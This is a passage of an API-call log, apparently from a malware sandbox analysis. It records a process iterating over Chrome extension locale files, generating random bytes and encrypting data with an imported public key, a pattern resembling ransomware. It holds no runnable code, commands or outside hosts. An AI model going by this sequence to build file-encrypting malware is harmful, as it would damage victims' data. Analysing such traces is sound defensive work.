CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.657] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.659] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.661] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.663] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.683] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.683] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.683] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0234.686] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.688] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.688] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.688] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.688] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.690] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ae78) returned 1 [0234.690] CryptGetKeyParam (in: hKey=0x659ae78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.690] CryptEncrypt (in: hKey=0x659ae78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8640000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8640000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.691] GetLastError () returned 0x0 [0234.691] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.691] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.693] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a938) returned 1 [0234.693] CryptGetKeyParam (in: hKey=0x659a938, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.693] CryptEncrypt (in: hKey=0x659a938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8650000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8650000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.693] GetLastError () returned 0x0 [0234.693] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.693] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.694] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.696] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.698] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.698] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.698] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.698] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.700] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.701] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.701] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.701] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.701] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.704] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659af38) returned 1 [0234.704] CryptGetKeyParam (in: hKey=0x659af38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.704] CryptEncrypt (in: hKey=0x659af38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8660000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8660000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.704] GetLastError () returned 0x0 [0234.704] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.704] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.706] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659aa78) returned 1 [0234.706] CryptGetKeyParam (in: hKey=0x659aa78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.706] CryptEncrypt (in: hKey=0x659aa78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8670000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8670000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.706] GetLastError () returned 0x0 [0234.706] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.706] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.709] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.711] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.713] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.713] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.713] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.713] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0234.715] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.717] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.717] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.717] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.717] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.721] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659aab8) returned 1 [0234.721] CryptGetKeyParam (in: hKey=0x659aab8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.721] CryptEncrypt (in: hKey=0x659aab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8680000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8680000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.721] GetLastError () returned 0x0 [0234.721] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.721] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.723] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ab38) returned 1 [0234.723] CryptGetKeyParam (in: hKey=0x659ab38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.723] CryptEncrypt (in: hKey=0x659ab38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8690000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8690000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.724] GetLastError () returned 0x0 [0234.724] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.724] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.725] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.728] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.730] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.730] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.730] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.730] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0234.732] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.734] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.734] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.734] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.734] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.737] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a9f8) returned 1 [0234.737] CryptGetKeyParam (in: hKey=0x659a9f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.737] CryptEncrypt (in: hKey=0x659a9f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x86a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x86a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.737] GetLastError () returned 0x0 [0234.737] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.737] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.740] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659abb8) returned 1 [0234.740] CryptGetKeyParam (in: hKey=0x659abb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.740] CryptEncrypt (in: hKey=0x659abb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x86b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x86b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.740] GetLastError () returned 0x0 [0234.740] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.740] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.742] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0234.745] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.747] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.747] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.747] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.747] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.749] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.751] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.751] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.751] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.751] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.754] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659acf8) returned 1 [0234.759] CryptGetKeyParam (in: hKey=0x659acf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.759] CryptEncrypt (in: hKey=0x659acf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x86c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x86c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.759] GetLastError () returned 0x0 [0234.759] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.759] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.762] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659abf8) returned 1 [0234.762] CryptGetKeyParam (in: hKey=0x659abf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.762] CryptEncrypt (in: hKey=0x659abf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x86d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x86d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.762] GetLastError () returned 0x0 [0234.762] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.762] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.763] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.766] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.768] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.768] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.768] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.768] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0234.770] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.772] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.773] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.773] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.773] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0234.776] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659afb8) returned 1 [0234.777] CryptGetKeyParam (in: hKey=0x659afb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.777] CryptEncrypt (in: hKey=0x659afb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x86e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x86e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.777] GetLastError () returned 0x0 [0234.777] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.777] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.780] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a978) returned 1 [0234.780] CryptGetKeyParam (in: hKey=0x659a978, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.780] CryptEncrypt (in: hKey=0x659a978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x86f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x86f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.780] GetLastError () returned 0x0 [0234.780] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.780] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.782] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0234.785] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.787] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.787] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.787] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.788] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.791] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.793] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.794] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.794] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.794] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.797] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659aa38) returned 1 [0234.797] CryptGetKeyParam (in: hKey=0x659aa38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.797] CryptEncrypt (in: hKey=0x659aa38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8700000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8700000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.798] GetLastError () returned 0x0 [0234.798] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.798] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.801] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659adf8) returned 1 [0234.801] CryptGetKeyParam (in: hKey=0x659adf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.801] CryptEncrypt (in: hKey=0x659adf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8710000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8710000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.801] GetLastError () returned 0x0 [0234.801] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.801] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.803] CryptAcquireContextW (in: phProv=0x285caa4, 